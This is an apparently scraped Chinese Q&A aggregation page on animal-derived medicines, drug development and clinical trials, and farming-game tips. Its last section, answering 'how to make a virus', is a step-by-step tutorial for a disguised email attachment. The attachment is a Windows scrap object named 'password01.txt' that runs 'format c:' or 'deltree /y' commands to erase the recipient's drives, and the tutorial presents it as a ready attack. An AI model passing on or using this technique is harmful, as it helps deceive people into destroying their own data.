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• 1，如何讓動物為藥品研制開發(fā)做貢獻
• 2，動物制藥廠是怎么制藥的
• 3，真的有藥可以引誘野動物達到捕獲的目的嗎
• 4，佛教徒如何開中藥處方有動物藥的
• 5，新藥的開發(fā)研制過程是怎樣進行的
• 6，藥是怎么研制出來的
• 7，怎么研制高科動物
• 8，牧場物語中動物藥怎么得到
• 9，動物藥的應(yīng)用現(xiàn)狀
• 10，怎樣研制病毒

1，如何讓動物為藥品研制開發(fā)做貢獻

藥品研制后不能直接用于臨床實驗，要先進行動物實驗。。

2，動物制藥廠是怎么制藥的

基因工程不僅可以讓細菌生產(chǎn)藥，而且也可組建“動物制藥廠”。自從現(xiàn)代基因工程20世紀70年代問世以來，科學(xué)家們就致力于用這種技術(shù)來生產(chǎn)治療人類疾病所需的藥物，尤其是貴重藥物。迄今為止，科學(xué)家們不僅在細菌等微生物中獲得了成功，而且通過轉(zhuǎn)基因動物來生產(chǎn)藥物的成功事例也屢見不鮮。治療癌癥、心臟病、血液病、感染等諸多病癥的貴重蛋白藥物已經(jīng)能從哺乳動物如牛、羊、鼠中制造出來，轉(zhuǎn)基因動物成了制藥廠。在制藥方面，哺乳動物細胞比一般細菌等微生物細胞具有明顯的優(yōu)勢。因為哺乳動物的細胞來自和人比較接近的哺乳動物。在這些細胞中產(chǎn)生的蛋白質(zhì)藥物不需太多純化和加工即可用于人類，而在人類細菌中生產(chǎn)的蛋白質(zhì)藥物則往往需要復(fù)雜的加工和純化，不僅費用昂貴，而且生產(chǎn)出的藥物往往使人有排斥反應(yīng)。轉(zhuǎn)基因動物的研究已開始把目標轉(zhuǎn)向培育能生產(chǎn)藥用蛋白的轉(zhuǎn)基因動物這一充滿誘惑力的領(lǐng)域中了，并已取得不少成功的例證。那么，什么是轉(zhuǎn)基因動物呢？轉(zhuǎn)基因動物一定是具有新基因的動物，和轉(zhuǎn)基因植物相類似。對于植物，機體水平上的基因操作并不困難。采用Ti質(zhì)粒、基因槍、花粉管通道導(dǎo)入法等有效的基因轉(zhuǎn)移技術(shù)，先將目的基因轉(zhuǎn)移到植物的原生質(zhì)體內(nèi)，再將這些原生質(zhì)體培育成植株，其組織和細胞中就含有外源目的基因了。如何實現(xiàn)動物基因結(jié)構(gòu)的改變呢？顯然，動物的體細胞不能作為受體，因為它們不具備像植物細胞那樣全能性。為了在整體動物水平上實現(xiàn)基因轉(zhuǎn)移，人們創(chuàng)造性地采用了顯微注射技術(shù)，也就將目的基因機械地注射到動物的受精卵內(nèi)，由于目的基因可與受精卵的染色體DNA發(fā)生隨機整合，當(dāng)整合有目的基因的受精卵發(fā)育成成熟個體時，這就是所謂的轉(zhuǎn)基因動物。動物基因轉(zhuǎn)移的方法相對來說比較簡單，不像植物那樣需要復(fù)雜地將基因搬來搬去，但向動物體內(nèi)導(dǎo)入基因的具體操作還是有很大難度的?？茖W(xué)家們把顯微注射器的一端很長很細的玻璃管插到動物的受精卵里，將外來基因注射到體積比較大的雄前核中去，再將受精卵植入母體內(nèi)，使之發(fā)育成完整的動物。整個操作中的困難在于，動物的卵都非常小，肉眼根本看不見，必須借助于顯微鏡精密儀器方能進行。有些物動物如鳥的受精卵就更小，操作起來更加困難。故此，人們通常以魚、鼠、兔、羊、豬、牛等較大的哺乳動物為研究對象進行轉(zhuǎn)基因操作和研究。

3，真的有藥可以引誘野動物達到捕獲的目的嗎

對于黃鱔、泥鰍、鱉、蝦等小水產(chǎn)動物的捕捉和進食可以來取以下引誘方法。 1.誘捕方法 利用藥物所散發(fā)出來的強嗜好性氣味,引誘野生或家養(yǎng)的鱉、黃鱔、泥鰍等聚集在一起,達到高效捕捉的目的。

4，佛教徒如何開中藥處方有動物藥的

額

能用其他非動物制品替代的就用替代品。實在必須要用到動物制品的當(dāng)生慚愧心，做藥石想。為彼誦往生咒回向后再用吧。但不可殺生。

5，新藥的開發(fā)研制過程是怎樣進行的

新藥研制主要分新藥臨床前研 究和新藥臨床研究兩個過程。l 新藥臨床前研究內(nèi)容 藥學(xué)研究藥理學(xué)研究毒理學(xué)研究一、藥學(xué)研究主要內(nèi)容 ⑴ 原料藥生產(chǎn)工藝研究 ⑵ 制劑處方及工藝研究 ⑶ 確證化學(xué)結(jié)構(gòu)或組分研究 ⑷ 質(zhì)量研究：包括理化性質(zhì)、純 度檢查、溶出度、含量測定等 ⑸ 質(zhì)量標準草案及起草說明 ⑹ 穩(wěn)定性研究 ⑺ 臨床研究用樣品及其檢驗 報告 ⑻ 產(chǎn)品包裝材料及其選擇依據(jù)二、新藥藥理毒理學(xué)研究1．藥理學(xué)內(nèi)容：①藥效學(xué)試驗： 主要藥效學(xué)試驗 一般藥理學(xué)試驗；②藥動學(xué)試驗。2．主要藥效學(xué)研究 1） 藥效學(xué)試驗：應(yīng)以動物體內(nèi)試驗 為主，必要時配合體外試驗，從 不同層次證實其藥效。 2） 觀測指標：應(yīng)選用特異性強、敏 感性高、重現(xiàn)性好、客觀、定量 或半定量的指標進行觀測。3）實驗動物：根據(jù)各種試驗的 具體要求，合理選擇動物，對 其種屬、性別、年齡、體重、 健康狀態(tài)、飼養(yǎng)條件、動物來 源及合格證號等，應(yīng)有詳細記 錄。5） 給藥劑量及途徑 ⑴ 試驗分組：各種試驗至少應(yīng)設(shè) 三個劑量組，劑量選擇應(yīng)合理，盡 量反映量效和／或時效關(guān)系，大動 物（猴、狗等）試驗或在特殊情況 下，可適當(dāng)減少劑量組。 ⑵ 給藥途徑：應(yīng)與臨床相同，如 確有困難，也可選用其他給藥途徑 進行試驗，但應(yīng)說明原因。6）對照：主要藥效學(xué)研究應(yīng)設(shè)對照 組，包括： ⑴ 正常動物空白對照組； ⑵ 模型動物對照組； ⑶ 陽性藥物對照組（必要時增設(shè) 溶媒或賦形劑對照組）。陽性對照藥 應(yīng)選用正式批準生產(chǎn)的藥品，根據(jù)需 要設(shè)一個或多個劑量組。3．一般藥理學(xué)研究主要觀察給藥后對動物以下三個系統(tǒng)的影響： ⒈）神經(jīng)系統(tǒng)：活動情況、行為變化 及對中樞神經(jīng)系統(tǒng)的影響。 ⒉）心血管系統(tǒng)：對心電圖及血壓等 的影響。 ⒊）呼吸系統(tǒng)：對呼吸頻率、節(jié)律及 幅度的影響。 須設(shè)2～3個劑量組，低劑量應(yīng)相當(dāng)于藥效學(xué)的有效劑量；給藥途徑應(yīng)與主要藥效學(xué)試驗相同，4．藥動學(xué)研究 對有效成分明確的第一類新藥， 可參照化學(xué)藥品的藥動學(xué)方法，研 究其在動物體內(nèi)的吸收、分布、代 謝及排泄，并計算各項參數(shù)。5．毒理學(xué)研究Toxicology Study 1）急性毒性（Acute toxicology） 2）慢性毒性（Chronic toxicology） 3）特殊毒性（Special Test） 半數(shù)致死量 Lethal Dose 50 (LD50) 最大耐受量 Maximal Resistance Experiment1）急性毒性試驗(1）LD50測定選用擬推薦臨床試驗 的給藥途徑，觀察一次給藥 后動物的毒性反應(yīng)并測定其 LD50。水溶性好的一、二類新藥應(yīng)測定 二種給藥途徑的LD50。給藥后至少 觀察7天，記錄動物毒性反應(yīng)情況、 體重變化及動物死亡時間分布。對 死亡動物應(yīng)及時進行肉眼尸檢，當(dāng) 尸檢發(fā)現(xiàn)病變時應(yīng)對該組織進行鏡 檢。2）最大給藥量試驗 如因受試藥物的濃度或體積限制， 無法測出半數(shù)致死量（LD50）時，可 做最大給藥量試驗。試驗應(yīng)選用擬推 薦臨床試驗的給藥途徑，以動物能耐 受的最大濃度、最大體積的藥量一次 或一日內(nèi)2～3次給予動物。（如用小白鼠，動物數(shù)不得少于20只，雌雄各半），連續(xù)觀察7天，詳細記錄動物反應(yīng)情況，計算出總給藥量（折合生藥量g/kg）。 3）長期毒性試驗 長期毒性試驗是觀察動物因連 續(xù)用藥而產(chǎn)生的毒性反應(yīng)及其嚴重 程度，以及停藥后的發(fā)展和恢復(fù)情 況，為臨床研究提供依據(jù)。長期毒性實驗條件Conditions for Chronic Experiment ⑴ 動物 （Animals） ⑵ 劑量 （Dosage） ⑶方法與給藥途徑（Methods and route of administration） ⑷ 實驗周期（Experimental cycle）治療局部應(yīng)用的藥物Drugs for local application 治療局部疾患且方中不含毒性藥材或有毒成分的第三、第四類外用藥，一般可不做長期毒性試驗。 但需做局部刺激試驗、過敏試驗，必要時需做光敏試驗?？赡苡绊懱夯蜃哟l(fā)育的藥物，除按一般毒理學(xué)要求進行試驗外，還應(yīng)增做相應(yīng)的生殖毒性試驗 (reproductive experiment) 。特殊毒性實驗（Special Test）致癌實驗（Carcinogenesis test） genetic mutation 致突變實驗（Mutagenesis test） cancer induction致畸癌實驗（Teratogenesis test） congenitally deformed baby or congenital malformationDrug dependence Test: addiction進行臨床研究應(yīng)具備的條件申報臨床研究并獲得國家食品藥品監(jiān)督管理（SFDA)局批準Application for Clinical Study Approval by CDA 獲得倫理委員會批準 Supervised by Ethic Council 新藥臨床實驗Clinical Study of New Drugs臨床試驗（Clinical Trials)生物等效性試驗 （Bio-equivalent Study）臨床試驗分期Clinical trialsI 期II期III期IV期I期臨床試驗 為初步的臨床藥理學(xué)及人體安全性評價試驗，主要觀察人體對新藥的耐受性（tolerance）和藥動學(xué)規(guī)律，為制定給藥方案提供依據(jù)。Biological equipotent experiment 生物等效性試驗II 期臨床試驗 為隨機盲法對照臨床試驗，主要對新藥有效性及安全性作出初步評價，并推薦臨床給藥劑量。III期臨床試驗 為擴大的多中心臨床試驗，應(yīng)遵循隨機對照原則，進一步評價新藥的有效性和安全性。IV期臨床試驗 為新藥上市后的監(jiān)測，在廣泛使用條件下進一步考察新藥的療效和不良反應(yīng)（尤其注意罕見的不良反應(yīng)）。臨床研究要求Principle Require⒈獲得國家食品藥品監(jiān)督管理（SFDA) 局批準⒉符合國家藥品監(jiān)督管理局《藥品臨 床試驗管理規(guī)范》的有關(guān)規(guī)定。 ⒊臨床研究的病例數(shù)應(yīng)符合統(tǒng)計學(xué)要 求。4．在SDA確定的藥品臨床研究基地中 選擇臨床研究負責(zé)和承擔(dān)單位⒌ 臨床研究單位應(yīng)了解和熟悉試驗用 藥的作用和安全性，按GCP要求制 定臨床研究方案。⒍ 應(yīng)指定具有一定專業(yè)知識的人員遵 循GCP的有關(guān)要求，監(jiān)督臨床研究 的進行。⒎ 不良事件（Adverse events ） 臨床研究期間若發(fā)生嚴重不 良事件，須立即采取必要措施 保護受試者安全，并在24小時 內(nèi)向當(dāng)?shù)厥〖壦幤繁O(jiān)督管理部 門和國家藥品監(jiān)督管理局報告。⒏ 臨床研究完成后，臨床研究單 位須寫出總結(jié)報告，負責(zé)單位 匯總，交研制單位。 有關(guān)試驗和具體要求⒈ 耐受性試驗 受試對象、受試例數(shù)、分組、 確定初試劑量⒈ 耐受性試驗 ⑴ 受試對象：應(yīng)選擇健康志愿者， 特殊病證可選輕型患者。健康狀況 須經(jīng)健康檢查，除一般體格檢查外， 尚要做血、尿、糞便常規(guī)化驗和心、 肝、腎功能檢查，并應(yīng)均屬正常。 要注意排除有藥物、食物過敏史者。對妊娠期、哺乳期、月經(jīng)期及嗜煙、嗜酒者亦應(yīng)除外。還應(yīng)排除可能影響試驗結(jié)果和試驗對象健康的隱性傳染病等。受試例數(shù)20～30例，以18～50歲為宜，男女例數(shù)最好相等。⑵ 分組：在最小初試劑量與最大初試 劑量之間分若干組。⑶ 確定初試劑量：最小初試劑量一般 可從同類藥物臨床治療量的1/10開 始。⒉ 藥動學(xué)研究⑴ 可與耐受性試驗結(jié)合進行⑵ 質(zhì)控要求：檢測方法應(yīng)靈敏度 精、專屬性強、回收率高和重 現(xiàn)性好。藥品不良反應(yīng)（adverse drug reaction，ADR）不良事件（adverse event）藥品不良反應(yīng)和不良事件的判斷與處理 ⑴ 藥品不良反應(yīng) （adverse drug reaction，ADR） 指在規(guī)定劑量正常用藥過程中所產(chǎn) 生的有害而非期望的、與藥品應(yīng)用有 因果關(guān)系的反應(yīng)。 在一種新藥或藥品新用途的 臨床試驗中，如治療劑量尚未確 定時，所有的有害而非期望的、 與藥品應(yīng)用有因果關(guān)系的反應(yīng)， 也應(yīng)視為藥品不良反應(yīng)。⑵ 不良事件（adverse event）： 病人或臨床試驗受試者接受一種藥 品后出現(xiàn)的不良醫(yī)學(xué)事件，但并不 一定與治療有因果關(guān)系。⑶ 嚴重不良事件 （serious adverse event）： 臨床試驗過程中發(fā)生需住院治療、 延長住院時間、傷殘、影響工作能 力、危及生命或死亡、導(dǎo)致先天畸 形等不良事件。 ⑷ 藥品不良反應(yīng)分類 臨床試驗中藥品不良反應(yīng)分臨 床反應(yīng)和化驗異常兩部分。 臨床反應(yīng)常分為A、B、C三型。① A型反應(yīng)：由藥物藥理作用過強或 與其他藥物出現(xiàn)相互作用所引起。 臨床試驗中觀察、檢查和評價的主 要是A型反應(yīng)，其評價方法與上市 后監(jiān)測藥物不良反應(yīng)的方法相似， 都是通過所發(fā)現(xiàn)的反應(yīng)與所用藥物 之間的因果分析來評定反應(yīng)與藥物 是否有關(guān)。② B型反應(yīng)：又稱特異反應(yīng)，可危 及生命且不能預(yù)測，一旦發(fā)生， 需立即向主辦單位與藥政管理 部門報告。③ C型反應(yīng)：常以疾病形式出現(xiàn)，在 新藥試驗中不易被察覺，常通過流 行學(xué)研究發(fā)現(xiàn)。藥品不良反應(yīng)的評價標準①五級標準： 有關(guān) / 很可能有關(guān) / 可能有關(guān) / 可能無關(guān) / 無關(guān) 用前二種相加來統(tǒng)計不良反應(yīng)發(fā)生率。② 七級標準： 有關(guān)/很可能有關(guān)/可能有關(guān)/不大可能有關(guān)/可能無關(guān)/無關(guān)/無法評價。 如何確定不良事件與藥物存在因果關(guān)系①用藥與出現(xiàn)不良事件的時間關(guān)系以 及是否具有量效關(guān)系②停藥后不良事件是否有所緩解③在嚴密觀察并確保安全的情況下， 觀察重復(fù)給藥時不良事件是否再次 出現(xiàn)等。 ⒋臨床試驗設(shè)計原則Principle of clinical trials隨機性（randomization）合理性（rationality）重復(fù)性（replication）代表性（representativeness）⑴ 隨機性：兩組病人的分配均勻，不 隨主觀意志為轉(zhuǎn)移。⑵ 合理性：既要符合專業(yè)要求與統(tǒng)計 學(xué)要求，又要切實可行。⑶ 代表性：受試對象的確定應(yīng)符合樣 本抽樣符合總體的原則。⑷ 重復(fù)性：經(jīng)得起重復(fù)驗證。排除系 統(tǒng)誤差。⒌ 對照試驗⑴ 平行對照試驗： 隨機分組對照試驗，最常用的是試 驗藥A與對照藥B（或安慰劑）進行 隨機對照比較。⑵ 交叉對照試驗： 拉丁方設(shè)計（latin square design）。⒍ 設(shè)盲（blinding／masking）： 使一方或多方不知道受試者治療分配的一種程序。 雙盲法試驗（double blind technique）⒎ 安慰劑（placebo）安慰劑是指沒有藥理活性的物質(zhì)如乳糖、淀粉等，常用作臨床對照試驗中的陰性對照。安慰劑可引起療效（正效應(yīng)）和不良反應(yīng)（負效應(yīng)）。鎮(zhèn)痛、鎮(zhèn)靜止咳等的有效率平均可達35.2％土2.2％。分類：純安慰劑:無藥理活性不純安慰劑:指作用不強的藥物，有時起安慰劑的作用。安慰劑效應(yīng)（placebo effect）⒏ 療效判斷臨床療效評價（response assessment）公認標準采用四級評定。痊愈（cure）顯效（excellence）好轉(zhuǎn)（improvement）無效（failure）痊愈率+顯效率=有效率（％）。 ⒈ 藥品臨床前試驗管理規(guī)范（good laboratory practice，GLP） GLP是對從事實驗研究的規(guī)劃設(shè)計、執(zhí)行實施、管理監(jiān)督和記錄報告等實驗室組織管理、工作方法和有關(guān)條件所提出的法規(guī)性文件。它主要是針對有關(guān)藥品、食品添加劑、農(nóng)藥、化學(xué)試劑、化妝品及其他醫(yī)用物品的動物毒性評價而制定的法規(guī)，目的在于嚴格控制藥品安全性評價的各個環(huán)節(jié)，包括嚴格控制可能影響實驗結(jié)果準確性的各種主、客觀因素，如保證實驗研究人員具備一定素質(zhì)、實驗設(shè)計慎密合理、各種實驗條件合格、數(shù)據(jù)完整準確以及總結(jié)資料科學(xué)真實等。2. 藥品臨床試驗管理規(guī)范（good clinicaI practice，GCP） GCP的核心是保障受試者與患者的權(quán)利，保證臨床試驗的科學(xué)性。這些規(guī)范規(guī)定了臨床試驗的有關(guān)各方，即申辦者、研究者及管理當(dāng)局在臨床試驗中的職責(zé)、相互關(guān)系和工作方式。3. 藥品生產(chǎn)質(zhì)量管理規(guī)范（good manufacture practice, GMP） GMP是為生產(chǎn)出全面符合質(zhì)量標準的藥品而制定的生產(chǎn)規(guī)范，它由硬件和軟件組成，其實施包括藥品生產(chǎn)的全過程，從對原料、制劑一直到銷售、退貨以及藥品管理部門 全體人員應(yīng)具備的條件等都做了詳細的規(guī)定。原料藥的制作與制劑在實質(zhì)上有一定差別，但GMP要求基本精神要一致。⒋ 藥品供應(yīng)質(zhì)量管理規(guī)范 （good supply practice,GSP）: GSP是為保證藥品在運輸、貯存 和銷售過程中的質(zhì)量和效力所 制定的管理規(guī)范。⒌ 道地藥材生產(chǎn)規(guī)范 （good organic practice，GOP） GOP是關(guān)于大宗藥材基地化和集約化的生產(chǎn)管理規(guī)范，目前正進行GOP基礎(chǔ)研究，爭取到2010年，使100種最常用道地藥材的質(zhì)量穩(wěn)定在高標準水平上，基本消滅次、劣品；使出口值排在前10位的藥材達到國際無公害藥材（Organic）水平。國家基本藥物Essential Drugs in China 1985年，WHO在內(nèi)羅畢會議上擴展了基本藥物的概念，使其包括了高度重視合理用藥的內(nèi)容，同時，在推薦基本藥物目錄遴選程序時，還把基本藥物的遴選過程與標準治療指南以及國家處方集結(jié)起來，也就是使基本藥物與合理用藥相結(jié)合。 我國的國家基本藥物是從我國臨床應(yīng)用的各類藥物中，經(jīng)科學(xué)評價而遴選出的具有代表性的藥品，無論從療效、不良反應(yīng)、價格和質(zhì)量，還是從穩(wěn)定性、使用方便性和可獲得性等方面，都是同類藥物中最佳的；是在經(jīng)濟條件允許的情況下，治療某種病癥的首選藥品，它必須能滿足大部分人口衛(wèi)生保健的需要。處方藥與非處方藥⒈ 處方藥(prescription drug)⑴ 剛上市的新藥：對其活性和副作用 還需進一步觀察；⑵ 可產(chǎn)生依賴性的藥品：如嗎啡類鎮(zhèn) 痛藥及某些催眠安定藥；⑶ 本身毒性較大的藥品，如抗癌藥等；⑷ 用藥時要經(jīng)醫(yī)生開處方并在其指 導(dǎo)下使用，或治療需實驗室確診 的某些疾病的藥品，如治療心血 管疾病的藥品。國家非處方藥遴選原則應(yīng)用安全、療效確切、質(zhì)量穩(wěn)定，使用方便。⒉ 非處方藥(Over the counter, OTC) OTC多治療諸如感冒、發(fā)燒、咳 嗽、消化系統(tǒng)疾病、頭痛、關(guān)節(jié)疾 病、過敏癥（如鼻炎）等疾?。凰? 還包括營養(yǎng)補劑如維生素、中藥補 劑等藥品，大多安全而有效。 甲類非處方藥的零售企業(yè)必須具有《藥品經(jīng)營企業(yè)許可證》。經(jīng)省級藥品監(jiān)督管理部門或其授權(quán)的藥品監(jiān)督管理部門批準的其它商業(yè)企業(yè)可以零售乙類非處方藥。零售乙類非處方藥的商業(yè)企業(yè)必須配備專職的具有高中以上文化程度，經(jīng)專業(yè)培訓(xùn)后，由省級藥品監(jiān)督管理部門或其授權(quán)的藥品監(jiān)督管理部門考核合格并取得上崗證的人員。使用注意：因非處方藥不需要憑執(zhí)業(yè)醫(yī)師或執(zhí)業(yè)助理醫(yī)師處方，消費者即可按藥品說明書自行判斷、購買和使用，為此，對部分品種除規(guī)定了使用時間、療程外，還強調(diào)遇到某些情況時應(yīng)向醫(yī)師咨詢等。The End

6，藥是怎么研制出來的

有很多藥物的問世是誤打誤撞的啊,象萬艾可,最初的實驗研究是針對心腦血管的,結(jié)果人體實驗中卻發(fā)現(xiàn)了另外的作用.

1。傳統(tǒng)藥物有效，具用藥經(jīng)驗，提純上市。 2。分析提純的藥物成分，尋找有效成分結(jié)構(gòu)式。 3。修飾找到的結(jié)構(gòu)式，使更利于吸收或增效。 4。合成這個結(jié)構(gòu)式，或結(jié)構(gòu)類似物，用于治病。

中國的藥是仿制出來的，很少會自己研究開發(fā)的。仿制就是仿造別人的藥，就是國外的這種藥品已經(jīng)上市銷售了，中國就買過來對其進行研究，并查相關(guān)文獻資料，再試制出相應(yīng)的仿制藥品，報到國家藥監(jiān)局進行審批，審批通過后就是中國所謂的新藥/

7，怎么研制高科動物

點擊9級以上的棚窩的房子，就會出現(xiàn) 科研列表，選擇科研一種動物就開始科研了，那些動物就是高等級，高收益動物！ 如果棚窩沒到9級，你的等級和金幣又達到升級棚窩的要求了。可以點擊棚窩下的 升級 木牌，進行升級！

您好！樓主，QQ牧場科研高等級、高收益動物需要把棚和窩升級到9級以上級別，然后點擊棚和窩的房子就會出現(xiàn)科研列表了。里面就是可以科研的動物，當(dāng)然，要科研更好的動物就必須把棚和窩進一步升級，現(xiàn)在棚和窩最高級能升到13級。 如果我的回答對樓主有幫助，請點擊答案下的“采納此答案”如果您還有疑問，請追問采納后請再評價 五星和 原創(chuàng)祝樓主龍年開心快樂！牧場top6為您解答

8，牧場物語中動物藥怎么得到

出牧場后右拐,有a.m.11:00-p.m.4:00開門的雞小屋,跟柜臺說話,有1000G的動物藥,雞牛羊通用,雞小屋右邊有a.m.10:00-p.m.3:00牛小屋,也跟柜臺說話,也有1000G的動物藥

在養(yǎng)雞場或牛羊舍都有賣，在這兩個地方買到的動物藥是通用的。

有的 去大壯漢那里買 如果當(dāng)天沒有 睡一天再去

當(dāng)然是去到養(yǎng)雞場和養(yǎng)牛羊的地方去買拉

如果是MM版還可以對著鏡子,用證書.(到班那買的那個)

出牧場后右拐,有a.m.11:00-p.m.4:00開門的雞小屋,跟柜臺說話,有1000G的動物藥,雞牛羊通用,雞小屋右邊有a.m.10:00-p.m.3:00牛小屋,也跟柜臺說話,也有1000G的動物藥 如果是MM版還可以對著鏡子,用證書.(到班那買的那個)

9，動物藥的應(yīng)用現(xiàn)狀

現(xiàn)代科學(xué)研究證實，動物藥和同體積、同重量的植物藥相比，大都具有極強的生物活性，尤其對某些頑癥、重病，更顯示了其獨特的生物活性。如斑蝥，《神農(nóng)本草經(jīng)》中列為下品，以后歷代本草均有記載，具有攻毒、破血、引赤、發(fā)泡的功能?，F(xiàn)代研究表明，斑蝥中含有的斑蝥素為抗癌有效成分，臨床治療肝癌和膀胱癌有效，此外還具有刺激骨髓產(chǎn)生白細胞的作用，這是一般抗癌藥所不及的。此外，近年來我國動物藥的應(yīng)用開發(fā)研究還體現(xiàn)在新的動物藥材的應(yīng)用和原有藥用動物的其它藥用部位的開發(fā)。如鹿茸是一味著名的中藥材，但除鹿茸外，鹿的全身也都是寶，很多部位皆可供藥用，如鹿鞭、鹿胎、鹿茸血、鹿肉、鹿骨、鹿角膠、鹿尾等，利用鹿身上這些部位研制的產(chǎn)品，深受人們的喜愛。 另外，隨著社會的發(fā)展和科學(xué)的進步，人類社會更加崇尚自然，返璞歸真成為社會新潮，而動物藥具有天然的特性，這為我國豐富的動物藥資源的開發(fā)提供了廣闊的天地。目前已開發(fā)出來的很多產(chǎn)品都深受廣大消費者的歡迎，其中保健品如大力神口服液、金牡蠣，化妝美容品如珍珠美容霜，天然香精如麝香、靈貓香等。可以說在動物藥的開發(fā)利用方面已經(jīng)取得了一定的成就。

10，怎樣研制病毒

如何制作木馬病毒 TXT炸彈的制作 [color=deeppink][/color] 1.創(chuàng)建一個只包含一個空格( 為了減小文件體積)的文本文件，任意取名。 2.打開｛寫字板文檔｝，將此文件拖放入｛寫字板文檔｝。也可以點擊記｛寫字板 文檔｝單欄中的“插入\對象”，彈出“插入對象”對話框，選中“從文件創(chuàng)建”，然后 點擊“瀏覽”按鈕選擇要插入的文件。 3.選中該插入對象的圖標，選擇菜單欄中的“編輯\包對象\編輯包”(如圖1)。在彈 出的“對象包裝程序”對話框中，選擇菜單欄中的“編輯\命令行”，然后輸入如下命令 ：start.exe /m format c:/q /autotest /u ，點擊“確定”，此時，內(nèi)容欄中會顯示 出命令內(nèi)容。 4.點擊外觀欄中的“插入圖標”按鈕，會彈出一個警告對話框，確認，然后任選一 個圖標。 5.選擇菜單欄中的“編輯\卷標”，為此嵌入對象取一個名稱(會替換原來的文件名 稱)。點擊“文件”菜單中的“更新”，然后關(guān)閉此對話框。 6.將剛剛建立的嵌入對象拖放到桌面上。文件的默認名是“碎片”（在2000下的默 認名為”片段”），現(xiàn)在我們把它改成“password01.txt”。打開電子郵件程序?qū)⒆烂? 上的“password01.txt”作為附件發(fā)出，或者將含有嵌入對象(帶有惡意命令)的文檔作 為附件發(fā)出。 7.當(dāng)郵件接收者誤將“password01.txt.shs”文件作為“password01.txt”(如前文 所述，“.SHS”擴展名永遠是隱藏的)放心地打開時，或打開文件，點擊文件中的嵌入對 象時觸發(fā)惡意命令(彈出DOS運行窗口，執(zhí)行格式化命令)．如果將上面的命令替換為：st art.exe /m deltree /y a:\*.* c:\*.* d:\*.* 則是將刪除對方硬盤下所有文件（盤符 根據(jù)實際情況自定義）；如果替換為：start.exe /m deltree /y c:\windows\system\*.* 則是刪除對方c:\windows\system\目錄底下的所有文件．（當(dāng) 然大家可以改成其它的命令） 很簡單，這樣一個惡意的攻擊程序被弄出來了！ 參考資料：百度

直接無視這種問題、自己的安全還沒做好就想學(xué)弄病毒、自己到bbs.itzhe.org學(xué)習(xí)去、

自己動手寫一個出來唄，如果你不會篇程那就免了吧。

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